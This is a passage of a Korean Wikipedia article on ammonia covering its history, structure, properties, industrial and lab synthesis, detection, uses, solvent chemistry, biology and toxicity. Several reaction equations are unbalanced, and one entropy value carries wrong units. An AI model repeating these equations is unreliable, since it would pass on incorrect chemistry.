사용할 수 있으며, 추가적인 조건이 적용될 수 있습니다. 자세한 내용은 이용 약관을 참고하십시오.Wikipedia®는 미국 및 다른 국가에 등록되어 있는 Wikimedia Foundation, Inc. 소유의 등록 상표입니다. 개인정보 정책 위키백과 소개 면책 조항 개발자 쿠키 정책 모바일 보기
암모니아 - 위키백과, 우리 모두의 백과사전 암모니아 위키백과, 우리 모두의 백과사전. 둘러보기로 가기 검색하러 가기 암모니아 일반적인 성질 화학식 NH3 CAS 번호 7664-41-7 PubChem 222 ChemSpider 217 물리적 성질 상태 기체 분자량 17.03 g/mol 녹는점 195.45 K-77.7 °C-107.86 °F 끓는점 239.75 K-33.4 °C-28.12 °F 밀도 7.71×10-4 g/cm3 형태 무색 열화학적 성질 ΔHf˚gas -46.11 kJ/mol S˚gas 192.77 kJ/mol 안전성 섭취 부식성이 있고, 삼킬 경우 입과 목, 위장에 화상을 입히며, 심할 경우 사망할 수도 있다. 목의 통증, 구토, 설사 등을 유발할 수 있다.[1] 흡입 부식성이 있으며, 점액질과 상부 기도의 조직에 심한 해를 입힌다. 타는 듯한 느낌, 기침, 헐떡거림, 후두염, 숨 가쁨, 두통, 구토, 설사 등을 유발할 수 있다. 발작이나 후두부종, 기관지부종, 화학 물질에 의한 폐렴, 폐수종이 발생할 경우 치명적일 수 있다.[1] 피부 피부 접촉은 염기에 의한 부식으로 통증, 발적, 심각한 염증 또는 3도 화상을 일으킬 수 있다. 피부를 통한 흡수는 몸 전체에 영향을 줄 수 있다. 장기적인 피부 노출은 피부염을 일으킬 수 있다.[1] 눈 부식성이 있고, 흐릿한 시야, 발작, 통증, 심각한 조직 화상과 눈의 손상을 가져올 수 있다. 일시적 또는 영구적 실명을 일으킬 수 있다.[1] 유럽 연합위험 규정 R10 , R23 , R34 , R50 위키낱말사전에관련된 항목이 있습니다. 암모니아 암모니아(영어: ammonia)는 질소와 수소로 이루어진 화합물이다. 분자식은 NH3이다. 상온에서는 특유의 자극적인 냄새가 나는 기체 상태로 존재한다. 대기 중에도 소량 포함되어 있으며, 천연수에 미량 함유되어 있기도 하다. 토양 중에도 세균의 질소 유기물의 분해 과정에서 생겨난 암모니아가 존재할 수 있다.[2] 대표적인 반자성체 중 하나이다. 목차 1 역사 2 성질 2.1 구조 2.2 물리적 성질 2.3 화학적 성질 2.3.1 암모니아 첨가 반응 2.3.2 암모니아 치환 반응 2.3.3 산화·환원 반응 3 제법 3.1 공업적 제법 : 합성법 3.1.1 하버-보슈법 3.1.2 그밖의 방법 3.1.3 생산 공정 3.2 그밖의 공업적 제법 3.3 실험적 제법 3.4 전기화학적 합성법 4 분석법 5 용도 5.1 비료 5.2 냉각제 5.3 폭발물 5.4 그밖의 용도 6 용매로서의 특성 7 생물학에서의 암모니아 7.1 세균에 의한 질소 고정 7.2 질소 대사의 노폐물 8 안전성 8.1 독성 8.2 허용 농도 8.3 작업 안전 8.4 응급 조치 9 함께 보기 10 각주 11 참고 자료 역사[편집] 고대부터 염화 암모늄을 얻는 방법은 알려져 있었는데, 염화 암모늄이 이집트의 태양신 암몬의 사원 근처에서 산출된다고 하여 이를 “암몬의 염”이라고 불렀다. ‘암모니아’라는 이름은 여기에서 유래한다.[3] 비록 현대의 염화 암모늄과 같은 물질을 뜻하는지는 알 수 없지만 '함모니아쿠스 살(Hammoniacus sal)'이라는 용어가 플리니우스의 책에도 등장한다.[4] 8세기 무렵 중세 이슬람 연금술사들은 암모니아를 중요하게 다루어 기록하였다. 암모니아에 대한 실험 기록을 처음으로 남긴 사람은 자비르 이븐 하이얀이었다.[5] 13세기에 들어 알베르투스 마그누스와 같은 유럽의 연금술사들이 이슬람의 기록을 받아들여 염화 암모늄을 다루기 시작하였다.[4] 15세기에는 바실리우스 발렌티누스가 암모니아를, 염화 암모늄에 알칼리를 반응시킴으로써 얻어낼 수 있음을 밝혀냈다. 중세 시대에 염화 암모늄은 황소의 발굽과 뿔을 증류시킨 뒤 함께 발생하는 탄산염을 염산으로 중화시켜 얻었는데, 이 시기의 “뿔의 정령”이란 이름은 암모니아를 뜻했다.[4][6] 기체 상태의 암모니아는 1774년 조지프 프리스틀리가 처음으로 분리하였고, 그는 그것을 ‘알칼리성 공기’라고 불렀다.[7] 1777년 칼 빌헬름 셸레는 암모니아에 질소가 포함되어 있음을 밝혔고, 클로드 루이 베르톨레는 1785년경에 암모니아의 조성을 확정하였다.[8] 1880년대부터 상업적인 암모니아 생산이 시작되었는데, 이때는 암모니아를 석탄 건류 과정의 부산물로써 얻어냈다. 1913년 프리츠 하버와 카를 보슈가 개발한 하버-보슈법은 암모니아의 생산량을 크게 증가시켰다. 현재 암모니아는 공업적으로 가장 많이 생산되는 화합물 중 하나이다.[9] 성질[편집] 구조[편집] 암모니아의 분자 구조는 한 변이 1.63Å(0.163nm)인 정삼각형을 이루고 있는 3개의 수소 원자가 있고, 정삼각형의 중심으로부터 질소 원자가 0.38Å(0.038 nm)만큼 떠 있는 모양이다.[2] 이러한 분자 구조를 삼각뿔형이라고 하며, 원자가껍질 전자쌍 반발(VSEPR) 이론을 통해 예측이 가능하다. 암모니아를 이루고 있는 질소 원자에는 비공유 전자쌍이 한 쌍 존재하는데, 이것으로 인해 암모니아는 양성자 받개, 즉 염기로 작용할 수 있다.[10] 분자 구조로 말미암아 암모니아의 쌍극자 모멘트는 0이 아니게 되며, 따라서 암모니아는 극성 물질이 된다. N-H 결합의 길이는 1.014Å(0.1014 nm)이며 H-N-H의 결합각은 107°이다.[2] 또한 암모니아는 수소 결합을 한다. 질소 원자의 진동 원자가 결합 이론으로 이 구조를 설명할 때 질소 원자는 sp3 혼성 오비탈을 이루고 있다고 설명한다.[11] 기본적으로 sp3 혼성 오비탈을 이룰 경우 분자의 모양은 정사면체형이 되나, 암모니아의 경우 질소 원자의 하나의 s 오비탈과 3개의 p 오비탈이 혼성을 이루어 생성되는 4개의 sp3 혼성 오비탈 중 하나는 비공유 전자쌍이 차지하고 있어서 이 비공유 전자쌍의 반발 효과로 인하여 H-N-H의 결합각이 완전한 정사면체 구조일 때의 109.5°보다 약간 줄어들게 된다.[12] 삼각뿔의 꼭짓점이 있는 질소 원자는 터널 효과에 따라 수소 원자로 이루어진 삼각형의 밑면을 쉽게 빠져나갈 수 있다. 따라서 질소 원자의 안정적인 위치는 삼각뿔의 밑면을 기준으로 위아래 양쪽에 존재하며, 질소 원자가 두 위치를 이동할 때의 에너지 장벽이 크지 않기 때문에 질소 원자는 상하로 움직이는 공명을 하게 된다. 이 성질은 매우 정밀한 시계인 원자 시계에 이용된다.[12] 물리적 성질[편집] 암모니아는 표준 상태에서 특유의 자극적 냄새가 나는 무색의 기체로 존재한다. 밀도는 0.771g/l(리터당 그램)이며, 이는 공기의 0.5971배에 해당한다. 상온에서도 압축시키면 비교적 간단하게 액화시킬 수 있다. 쌍극자 모멘트는 1.48D이다. 녹는점은 -77.7℃, 끓는점은 -33.4℃, 임계 온도는 132.5℃이고, 임계 압력은 112.5atm이다. 생성열은 46.23kJ/mol(몰당 킬로줄), 융해열은 5.653kJ/mol, 기화열은 23.35kJ/mol이다. 암모니아는 물에 잘 녹는 물질이다. 용액의 어는점에서 암모니아는 질량 퍼센트로 약 45퍼센트까지 녹을 수 있으며 표준 상태에서 암모니아는 질량 퍼센트로 약 30퍼센트까지 녹을 수 있다. 용해도는 0℃의 물에 89.9g/100ml(100밀리리터당 그램), 20℃의 물에 52.0g/100ml, 96℃의 물에 7.4g/100ml이며 20℃의 에탄올에서의 용해도는 14.8g/100ml이다. 에테르에도 녹는다. 암모니아의 물리적 성질은 부분적으로 수소 결합에 영향을 받는다.[2][12] 암모니아의 온도별 증기압은 다음과 같다.[13] 온도 -33℃ 4.7℃ 20℃ 25.7℃ 50.1℃ 증기 압력 1atm 5atm 8atm 10atm 20atm 화학적 성질[편집] 암모니아가 관여된 대부분의 반응은 크게 암모니아 첨가 반응, 암모니아 치환 반응, 산화·환원 반응으로 나눌 수 있다. 암모니아 첨가 반응[편집] 암모니아 첨가 반응은 암모니아 분자가 다른 분자 또는 이온에 공유 결합, 수소 결합 또는 이온-쌍극자 간의 전기적인 인력으로 인한 결합을 하게 되는 반응을 뜻한다. 가장 대표적인 것으로 암모니아와 물이 반응하여 암모니아수를 생성하는 반응을 들 수 있다. 반응식은 다음과 같다. 이 반응으로 인해서 암모니아는 물에 대해 비교적 높은 용해도를 가진다. 수화 암모니아(NH3·H2O)의 이온화 상수는 1.77×10−5이고, pKd는 4.75이다.[14] 2NH3·H2O 형태의 분자도 발견되지만, NH4OH 형태의 분자는 발견되지 않는다.[15] 사암모늄화 구리 ([Cu(NH3)4]2+) 삼암모니아와 플루오르화 붕소의 결합 암모니아는 강산과 반응하여 암모늄염을 생성한다. 반응식은 다음과 같다. 4 NH 3   + HX   ⟶   NH 4 +   + X − {\displaystyle {\ce {4NH_{3}\ +HX\ \longrightarrow \ NH_{4}^{+}\ +X^{-}}}} 암모니아는 전이 금속에 배위되어 고차 화합물을 형성할 수 있다. Hg(NH3)2+, Cr(NH3)63+, Zn(NH3)42+, Co(NH3)63+, Cu(NH3)42+ 등이 대표적이다. 다음 반응식은 암모니아가 구리 이온에 배위되는 반응을 나타낸 것이다. Cu 2 +   + 4 NH 3   ⟶   [ Cu ( NH 3 ) 4 ] 2 + {\displaystyle {\ce {Cu^{2+}\ +4NH_{3}\ \longrightarrow \ [Cu(NH_{3})_{4}]^{2+}}}} 암모니아가 전자쌍을 제공하는 루이스 염기로 작용하는 경우도 암모니아 첨가 반응이라고 할 수 있다. 암모니아가 삼산화 황, 이산화 황, 사플루오르화 규소, 삼플루오르화 붕소와 반응하는 경우를 예로 들 수 있다. 다음 반응식은 암모니아가 삼플루오르화 붕소와 반응하는 경우이다. 암모니아 치환 반응[편집] 암모니아가 다른 원자 혹은 원자단을 치환하여 아미드기(-NH2), 이미드기(=NH), 질화기(≡N)를 생성하는 반응을 암모니아 치환 반응이라 한다. 반응의 대표적인 예는 클로로벤젠과 암모니아가 반응하여 아닐린을 생성하는 것이 있다. 또는 염화 수은(II)과 반응하여 염소 원자를 NH2로 치환하는 반응을 들 수 있다. 4 HgCl 2   + 2 NH 3   ⟶   Hg ( NH 2 ) Cl   + NH 4 Cl {\displaystyle {\ce {4HgCl_{2}\ +2NH_{3}\ \longrightarrow \ Hg(NH_{2})Cl\ +NH_{4}Cl}}} 산화·환원 반응[편집] 암모니아의 산화·환원 반응은 암모니아에 포함된 질소의 산화 상태가 바뀌는 반응과 수소가 해리되는 반응으로 나눌 수 있다. 전자의 예로는 다음과 같이 백금 촉매의 존재 하에 암모니아가 일산화 질소로 산화되는 반응을 들 수 있다. 4 NH 3   + 5 O 2   ⟶   4 NO   + 6 H 2 O {\displaystyle {\ce {4NH_{3}\ +5O_{2}\ \longrightarrow \ 4NO\ +6H_{2}O}}} [16] 촉매가 존재하지 않는다면 암모니아는 산소로 인하여 연소되어 질소와 물을 내놓는다. 이 과정에서 소량의 질산 암모늄, 이산화 질소 등이 생성되기도 한다. 4 NH 3   + 3 O 2   ⟶   2 N 2   + 6 H 2 O {\displaystyle {\ce {4NH_{3}\ +3O_{2}\ \longrightarrow \ 2N_{2}\ +6H_{2}O}}} 암모니아는 할로젠과 반응하여 산화되어 질소를 내놓고, 생성된 할로젠화 수소는 다시 암모니아와 결합하여 염을 만든다. 암모니아가 염소로 산화될 경우의 반응식은 다음과 같다. 2 NH 3   + 3 Cl 2   ⟶   2 N 2   + 6 HCl {\displaystyle {\ce {2NH_{3}\ +3Cl_{2}\ \longrightarrow \ 2N_{2}\ +6HCl}}} HCl   + NH 3   ⟶   NH 4 Cl {\displaystyle {\ce {HCl\ +NH_{3}\ \longrightarrow \ NH_{4}Cl}}} 앞의 반응에서 염소가 과잉으로 있다면 다음과 같은 반응이 추가적으로 진행되어 폭발성의 황색 기름인 삼염화 질소가 생성된다. NH 4 Cl   + 3 Cl 2   ⟶   NCl 3   + 4 HCl {\displaystyle {\ce {NH_{4}Cl\ +3Cl_{2}\ \longrightarrow \ NCl_{3}\ +4HCl}}} 암모니아와 금속 산화물의 반응 역시 질소가 산화되는 반응이다. 다음은 암모니아가 산화 구리(II)와 반응하는 경우이다. 3 CuO   + 2 NH 3   ⟶   3 Cu   + 3 H 2 O   + N 2 {\displaystyle {\ce {3CuO\ +2NH_{3}\ \longrightarrow \ 3Cu\ +3H_{2}O\ +N_{2}}}} 수소가 해리되는 반응의 예로는 금속과 암모니아의 반응을 들 수 있다. 반응성이 높은 금속과 암모니아가 반응하면 아마이드가 형성된다. 예를 들어, 암모니아와 나트륨이 반응하면 나트륨아마이드가 생성된다. 2 NH 3   + 2 Na   ⟶   2 NaNH 2   + H 2 {\displaystyle {\ce {2NH_{3}\ +2Na\ \longrightarrow \ 2NaNH_{2}\ +H_{2}}}} 암모니아가 고온에서 마그네슘과 반응하는 경우 마그네슘이 암모니아의 모든 수소 원자를 치환하여 삼차 아마이드인 질화마그네슘을 만든다. 반응식은 다음과 같다. 2 NH 3   + 3 Mg   ⟶   2 Mg 3 N 2   + 3 H 2 {\displaystyle {\ce {2NH_{3}\ +3Mg\ \longrightarrow \ 2Mg_{3}N_{2}\ +3H_{2}}}} 제법[편집] 공업적 제법 : 합성법[편집] 공업적으로 암모니아를 합성하는 데에 가장 많이 사용되는 방법은 수소와 질소로부터 암모니아를 직접 합성하는 방법이다. 암모니아 합성 반응의 반응식은 다음과 같이 간단하다.[17] N 2   + 3 H 2   ⟶   2 NH 3   + 100 kJ {\displaystyle {\ce {N_{2}\ +3H_{2}\ \longrightarrow \ 2NH_{3}\ +100kJ}}} 하버-보슈법[편집] 이 부분의 본문은 하버법입니다. 18세기 후반에 암모니아가 질소와 수소로 이루어져 있다는 사실이 알려지면서 이러한 합성을 시도하는 경우가 많았는데, 모두 실패하였다. 20세기 초에 들어 발터 네른스트, 프리츠 하버 등이 이 반응의 열역학적 평형을 연구하여 반응이 가능하다는 것을 밝혔다. 1907년 하버는 암모니아 합성의 기초를 확립하였다. 하버는 질소와 수소를 촉매(산화 철과 약간의 세륨 및 크로뮴) 존재 하에 530℃, 290atm에 반응시키면 암모니아를 얻을 수 있음을 발견하였으나, 당시의 기술 수준으로는 합성에 필요한 조건인 고온과 고압을 조성하기가 힘들었다. 제1차 세계 대전 중에 폭발물을 만들기 위한 암모니아의 수요가 증가하면서, 1913년 칼 보슈는 하버의 방법을 공업적으로 적용하여 연 9천 톤의 최초의 공업적 암모니아 합성에 성공하였다. 이렇게 해서 개발된 하버-보슈법은 제1차 세계 대전 이후 많은 개선을 거쳐 오늘날의 상태에 이르고 있다.[9] 그밖의 방법[편집] 클로드법(Claude Process)은 원래 약 1000atm의 고압 조건에서 합성 반응을 진행시키는 방법인데, 최근에는 340~650atm의 조건에서 반응을 진행시키는 방법도 개발되어 있다. 나머지 공정은 하버-보슈법과 거의 같다. 카잘레법(Casale Process)은 클로드법과 마찬가지로 450~600atm의 고압 조건에서 암모니아를 합성하는 방법이다. 그밖에 저압에서 암모니아를 합성하는 방법 역시 개발되어 있다.[9] 생산 공정[편집] 합성법에서는 우선 원료가 될 질소와 수소를 구하는 공정이 우선된다. 질소는 대기로부터 채취하여 얻어진다. 수소는 주로 천연 가스를 반응시켜 얻어낸다. 수소를 얻는 과정은 다음과 같다.[9] 천연 가스의 황 성분은 촉매를 오염시킬 수 있기 때문에, 암모니아 생산 공정에 투입될 천연 가스는 탈황 과정을 거친 천연 가스이어야 한다. 황 성분이 제거된 천연 가스는 수증기와 함께 니켈 촉매를 채운 관을 통과하고, 이 과정에서 대부분의 수소가 생산된다. 반응식은 다음과 같다. CH 4   + H 2 O   ⇄   CO   + 3 H 2 {\displaystyle {\ce {CH_{4}\ +H_{2}O\ \rightleftarrows \ CO\ +3H_{2}}}} CO   + H 2 O   ⇄   CO 2   + H 2 {\displaystyle {\ce {CO\ +H_{2}O\ \rightleftarrows \ CO_{2}\ +H_{2}}}} 위 과정에서 반응하지 않은 이산화 탄소는 메탄올, 아세톤, 액화 질소 등의 유기 용매에 흡수시켜 제거한다. 산화 탄소류는 이후 반응에서 사용되는 촉매를 오염시키기 때문에 제거되어야 한다. 이러한 과정을 거치고 나면 수소 기체에는 약 0.1퍼센트의 이산화 탄소와 0.5퍼센트의 일산화 탄소가 남게 된다. 이들을 완전히 제거하기 위해서 약간의 수소와 반응시킨다. CO   + 3 H 2   ⇄   CH 4   + H 2 O {\displaystyle {\ce {CO\ +3H_{2}\ \rightleftarrows \ CH_{4}\ +H_{2}O}}} CO 2   + 4 H 2   ⇄   CH 4   + 2 H 2 O {\displaystyle {\ce {CO_{2}\ +4H_{2}\ \rightleftarrows \ CH_{4}\ +2H_{2}O}}} 이 과정을 거쳐 얻어진 수소는 촉매 존재 하에 질소와 반응하여 다음과 같이 암모니아를 생성하게 된다. 이때, 반응이 일어나는 조건은 사용하는 방법에 따라서 달라진다. N 2   + 3 H 2   →   2 NH 3 {\displaystyle {\ce {N_{2}\ +3H_{2}\ \rightarrow \ 2NH_{3}}}} 그밖의 공업적 제법[편집] 그밖에 공업적으로 암모니아를 합성하는 방법으로는 다음과 같은 것이 있다.[2][12] 부생법(副生法): 석탄 건류 시 발생하는 가스액에서 회수한다. 변성법: 칼슘 카바이드를 이용하여 칼슘 사이안아마이드(석회 질소)를 만든 후 여기에 수증기를 작용시켜서 암모니아를 얻는다. 반응식은 다음과 같다. CaC 2   + N 2   ⟶   CaCN 2   + C {\displaystyle {\ce {CaC_{2}\ +N_{2}\ \longrightarrow \ CaCN_{2}\ +C}}} CaCN 2   + 3 H 2 O   ⟶   CaCO 3   + 2 NH 3 {\displaystyle {\ce {CaCN_{2}\ +3H_{2}O\ \longrightarrow \ CaCO_{3}\ +2NH_{3}}}} 실험적 제법[편집] 실험실 환경에서 암모니아를 제조할 때 암모늄염을 염기성 용액과 가열시켜서 얻는 방법이 있다. 반응의 예로는 다음과 같은 것이 있다.[2] 2 NH 4 Cl   + Ca ( OH ) 2   ⟶   2 NH 3   + CaCl 2   + 2 H 2 O {\displaystyle {\ce {2NH_{4}Cl\ +Ca(OH)_{2}\ \longrightarrow \ 2NH_{3}\ +CaCl_{2}\ +2H_{2}O}}} ( NH 4 ) 2 SO 4   + 2 NaOH   ⟶   2 NH 3   + Na 2 SO 4   + 2 H 2 O {\displaystyle {\ce {(NH_{4})_{2}SO_{4}\ +2NaOH\ \longrightarrow \ 2NH_{3}\ +Na_{2}SO_{4}\ +2H_{2}O}}} 또는 질화 금속을 가수분해 하는 방법이 있다.[12] 반응식의 예는 다음과 같다. Mg 3 N 2   + 6 H 2 O   ⟶   3 Mg ( OH ) 2   + 2 NH 3 {\displaystyle {\ce {Mg_{3}N_{2}\ +6H_{2}O\ \longrightarrow \ 3Mg(OH)_{2}\ +2NH_{3}}}} 전기화학적 합성법[편집] 효소에 의한 질소고정 반응 (전자와 ATP/ADP가 반응식에 참여)과 같이 전기화학촉매 반응을 이용한 비생물학적 공정이 최근에 친환경적 암모니아 생성 방법으로 연구되고 있다. 이 프로세스는 공기중의 질소와 물을 전기분해 하여 저온, 저압에서 비교적 간단하게 암모니아을 생성하는 방법이다[18][19]. 산성 분위기에서의 반응식은 다음과 같다. 산화극: 3H2O → 3/2O2 + 6H+ + 6e- 환원극: N2 + 6H+ + 6e- → 2NH3 전체반응: N2 + 6H2O + 6e- → 2NH3 + 3/2O2 분석법[편집] 킬달 방법을 이용한 암모니아의 검출. 독일의 화학자 요한 킬달이 개발한 중화적정법을 사용하는 암모니아 검출 방법이다. 염산-암모니아 반응. 염산과 암모니아가 만나면 염화암모늄이 흰 기체 형태로 형성된다. 암모니아의 검출 방법에는 여러 가지가 있다. 가장 일반적인 방법 가운데 하나는 특유의 냄새를 확인하는 것이다. 암모니아는 공기 중에 5 ppm 이상 있을 경우 쉽게 냄새로 확인할 수 있다.[20] 이 외에 염산과 반응하여 염화암모늄을 형성하는 것을 이용하거나, 구리와 반응하여 암모늄화구리([Cu(NH3)4]2+)를 형성하는 것을 이용할 수도 있다.[21] 대기 중 물질의 농도를 확인하는 대한민국의 대기공정시험법에서는 페놀-니트로프루시드 나트륨 용액과 차아염소산 나트륨용액을 가하고 암모늄이온과 반응하여 생성하는 인도 페놀류의 흡광도를 측정하여 암모니아를 정량하는 인도페놀법이나, 분석용 시료용액을 황산으로 적정하여 암모니아를 정량하는 중화적정법이 사용된다.[22][23] 실험실에서는 다음과 같은 보다 간단한 방법을 사용하기도 한다.[24] 공기 중에 미량으로 존재하는 암모니아를 검출하고자 할 때는 검지관에 네슬러 시약을 넣고 색이 변하는 정도를 비교하거나, 암모니아를 황산 용액에 흡수시킨 후 네슬러 시약을 넣어 색이 변하는 정도를 비교한다. 보통량(普通量)으로 존재하는 경우 과잉의 황산 용액에 흡수시킨 후 이를 수산화 나트륨 용액으로 적정한다. 이때, 지시약은 메틸 오렌지 또는 브로모페놀 블루를 사용한다. 이밖에 흡수액의 전기 전도도를 측정하거나, 적외선의 흡수 정도를 분석하는 방법, 연소열을 측정하는 방법 등이 이용된다. 용도[편집] 비료[편집] 암모늄 비료 결정 암모니아는 합성 비료의 재료로 사용된다. 질소는 식물이 자라는 데 필수적인 원소 중 하나로, 자연적으로는 토양 속의 일부 세균이 공기 중의 질소를 질소 화합물로 고정하는 질소 고정이 일어나고, 이를 통하여 식물은 질소를 흡수할 수 있게 된다. 비료에 포함된 암모니아는 토양에 질소 공급원으로 작용하여 작물에게 풍부한 질소를 공급해 줄 수 있게 하며, 그 결과 작물 생산량이 증가하게 된다.[25] 1828년 프리드리히 뵐러는 시안산암모늄을 사용하여 요소를 처음 합성하였다. 이것은 인류가 최초로 무기화합물만을 이용하여 유기화합물을 합성하는데 성공한 일이었다.[26] 합성 유기화합물의 생성은 학문적으로 생기론에 결정적인 타격을 주었다.[27] 이후, 제1차 세계대전 중 독일의 프리츠 하버가 공기 중의 질소를 고정해서 암모니아를 합성하는 방법을 찾아낸 후 요소를 대량으로 합성할 수 있게 되자, 농업 생산량 증대를 위한 합성 요소 비료를 만드는 산업이 발달하게 되었다.[28] 1995년 생산된 요소 비료의 40%가 합성 암모니아를 원료로 제작되었다. 또한, 2004년 생산된 합성 암모니아 가운데 80%가 곡물 재배를 위한 비료의 재료로 사용되었으며, 암모니아의 생산에는 인류 전체가 소비하는 총 에너지의 1% 정도가 소요되고 있다.[29] 냉각제[편집] 암모니아의 끓는점은 다른 기체에 비해서 비교적 높은 편이고 압축할 경우 쉽게 액화되는데다가 기화열이 비교적 크기 때문에 냉장고와 공기 조절 장치 등의 냉각제로 쓰여왔다. 미국에서는 약 120년 전부터 일본에서는 약 80년 전부터 냉각제로 사용되었고, 현재에도 널리 사용되어 1999년 미국에서 판매된 상용 냉동기의 80%가 암모니아를 냉각제로 사용하였다.[30], 그러나 암모니아의 유독성때문에 가정용 냉장고 등에서는 암모니아를 대신해서 프레온이 주로 사용되었다. 하지만 프레온은 오존층 상공에서 오존을 분해한다는 사실이 밝혀져 전 세계적으로 사용을 금지하고 있다.[2] 이 때문에 최근에는 다시 암모니아를 냉각제로 사용하는 냉동기에 대한 개발이 진행되고 있다.[30] 폭발물[편집] 2011년 노르웨이 테러. 질산암모늄을 이용한 폭탄이 사용되었다. 질산암모늄은 섭씨 200도 정도의 상태에서도 비교적 안전하나 석유 등의 연료와 함께 있을 때에는 강력한 산화제로 작용하여 폭발을 일으킨다. 1947년 미국의 텍사스시티 항에 정박 중이던 질산암모늄 적재 선박에서 화재가 발생하면서 폭발이 일어나 인근 1천여 채의 건물이 파손되고, 580여명의 사람들이 희생되는 사건이 일어나기도 하였다. 질산암모늄의 이런 성질을 이용하여 제조된 폭탄을 “비료 폭탄”이라고 하는데, 2011년 노르웨이 테러에서 범인이 사용하기도 하였다.[28] 제 1차 세계 대전 중에 독일은 칠레로부터의 초석 수입이 중단되자 마침 비료 생산을 위해 세워져 있던 암모니아 공장을 통해 폭약을 제조하기도 하였다.[31] 그밖의 용도[편집] 그밖에 암모니아는 다음과 같은 용도로 사용된다. 암모늄염, 질산, 요소의 합성 원료 화학 공업 원료 암모니아수제조에 사용된다. 용매로 사용된다. 화력발전소 연료로 사용된다. 아이스크림 제조에 사용된다. 반도체 및 전자부품 제조에 이용된다. 용매로서의 특성[편집] 액체 암모니아는 특정 화학 반응에서의 용매로 사용할 수 있다. 용매로서의 암모니아는 그 성질이 물과 에탄올의 중간에 해당한다. 예를 들어, 이온성 물질을 녹이는 능력은 물, 암모니아, 에탄올 순으로 좋다. 반면에, 공유 결합성 물질을 녹이는 능력은 암모니아가 물보다 뛰어나다. 물과 마찬가지로, 암모니아 역시 자동 이온화될 수 있으나, 그 비율은 물에 비해서 현저하게 낮다. 반응식은 다음과 같다. 2 NH 3   ⇄   NH 4 +   + NH 2 − {\displaystyle {\ce {2NH_{3}\ \rightleftarrows \ NH_{4}^{+}\ +NH_{2}^{-}}}} [ NH 4 + ] [ NH 2 − ] = 1 ⋅ 9 × 10 − 33 {\displaystyle {\ce {[NH_{4}^{+}][NH_{2}^{-}]=1.9\times 10^{-33}}}} (-50℃) 액체 암모니아에 알칼리 금속, 알칼리 토금속 등을 녹이면 농도가 낮을 경우 용액이 청색을 띠고, 농도가 높을 경우 청동색을 띠게 된다. 알칼리 금속의 경우 10~20몰랄농도까지도 녹을 수 있다. 금속을 액체 암모니아에 녹일 경우 다음과 같은 평형 반응이 진행되어 전자가 금속으로부터 떨어져 나와 암모니아 분자로 둘러싸인 용매화 전자가 생성된다. M   ⇄   M ( am ) +   + e ( am ) − {\displaystyle {\ce {M\ \rightleftarrows \ M_{(am)}^{+}\ +e_{(am)}^{-}}}} 2 M   ⇄   M 2 ( am ) {\displaystyle {\ce {2M\ \rightleftarrows \ M_{2(am)}}}} e ( am ) −   + M   ⇄   M ( am ) − {\displaystyle {\ce {e_{(am)}^{-}\ +M\ \rightleftarrows \ M_{(am)}^{-}}}} 반응식에서 아래 첨자 (am)은 분자가 암모니아 분자로 둘러싸여 용매화된 상태를 나타낸다. 이러한 상태에 있는 용액은 불안정하지만, 촉매가 없는 한 다음과 같은 반응이 매우 느리게 진행되어 금속 아마이드와 수소 기체를 형성한다. e ( am ) −   + NH 3   →   1 2 H 2   + NH 2 − {\displaystyle {\ce {e_{(am)}^{-}\ +NH_{3}\ \rightarrow \ 1/2H_{2}\ +NH_{2}^{-}}}} 용매화 전자가 존재하는 용액은 강력한 환원제로 작용할 수 있고, 따라서 암모니아에 금속이 녹은 용액은 암모니아에 녹는 유기 화합물의 환원 반응을 진행시키는 데 적합하다. 암모니아는 물에 비해서 양성자를 잘 내놓지 않는 반면 전자는 더 잘 취한다. 따라서 액체 암모니아는 NH2-, C2H5O- 등의 강한 염기성 물질이나 용매화 전자와 같은 강한 환원제를 다루는 데 적합하다. 그러나 산성 물질이나 산화제를 다룰 때는 물을 용매로 하는 것이 더 적합하다.[12] 생물학에서의 암모니아[편집] 세균에 의한 질소 고정[편집] 질소 고정이란, 대기 중의 질소를 반응성이 높은 암모늄염, 질산염, 아질산염 등의 형태로 바꾸는 것을 의미하는데, 천연에서는 대부분의 질소 고정을 질소고정세균과 같은 세균들이 일으키고 있다. 이들은 대기 중의 질소를 수소와 결합시켜 암모니아의 형태로 바꾼다. 반응식은 다음과 같다. N 2   + 8 e −   + 16 ATP   ⟶   2 NH 3   + H 2   + 16 ADP   + 16 P i {\displaystyle {\ce {N_{2}\ +8e^{-}\ +16ATP\ \longrightarrow \ 2NH_{3}\ +H_{2}\ +16ADP\ +16P_{i}}}} 이런 과정을 거쳐 생성된 암모니아는 토양에 존재하는 수소 이온과 반응하여 암모늄 이온이 되고, 암모늄 이온 중 일부는 직접 식물로 흡수되어 사용되거나 질화 세균에 의해서 질산염의 형태로 식물로 흡수되거나, 탈질화 세균에 의해서 다시 대기 중의 질소의 형태로 바뀌게 된다. [25] 질소 대사의 노폐물[편집] 질소 대사 문서를 참고하십시오. 암모니아는 생명체가 단백질을 통해서 에너지를 얻는 과정에서 노폐물로 생성된다. 암모니아는 독성을 가진 물질이기 때문에 빠르게 체외로 배출시켜야 한다. 그러나 암모니아는 낮은 농도로 유지되어야 생체에 해를 끼치지 않기 때문에 암모니아의 형태로 배출하기 위해서는 많은 양의 물이 필요하다. 이런 이유로, 암모니아 형태의 배출은 수생 생물에서만 볼 수 있다. 육상 생물의 경우 물이 부족한 환경에 서식하기 때문에 배출하는 데 많은 양의 물이 필요한 암모니아의 형태로는 배출이 불가능하다. 따라서 육상 생물은 암모니아를 독성이 약한 다른 질소 노폐물로 전환시켜서 일시적으로 저장한 후 배출한다. 포유류를 비롯한 양서류 성체, 상어, 몇몇 경골어류 및 거북이는 암모니아를 요소의 형태로 바꾸어 배출한다. 요소는 간에서 암모니아와 이산화탄소를 결합하여 만들어지고, 암모니아에 비해 10만 배가량 독성이 약하다. 따라서 적은 양의 물로도 배출이 가능하다. 곤충을 비롯한 뱀, 새 및 파충류 등은 요산의 형태로 배출한다. 요산의 경우 요소보다 합성하는 데 많은 에너지가 사용되지만, 더 적은 양의 물로도 배출할 수 있다는 장점이 있다.[32] 안전성[편집] 암모니아는 체내의 신진 대사 작용 과정 가운데 하나인 시트르산 회로를 억제하여 혐기성 당분해, 혈당, 혈액 유산증이 증가한다고 밝혀져 있다. 암모니아는 주로 크렙스 회로를 저해하고, 유해 수준의 암모니아는 산화대사에 영향을 미친다. 이 때문에 암모니아에 중독되면 신경독성이나 소화독성을 보이게 된다.[33] 독성[편집] 암모니아는 염기성을 띠기 때문에 생체 조직에 대해서 자극성이다. 암모니아가 피부에 접촉할 경우 타는 느낌을 주고 피부가 붉게 변하며, 장기간 노출될 경우 진물이 나는 등 피부 조직이 손상될 수 있다. 두피에 접촉할 경우 머리가 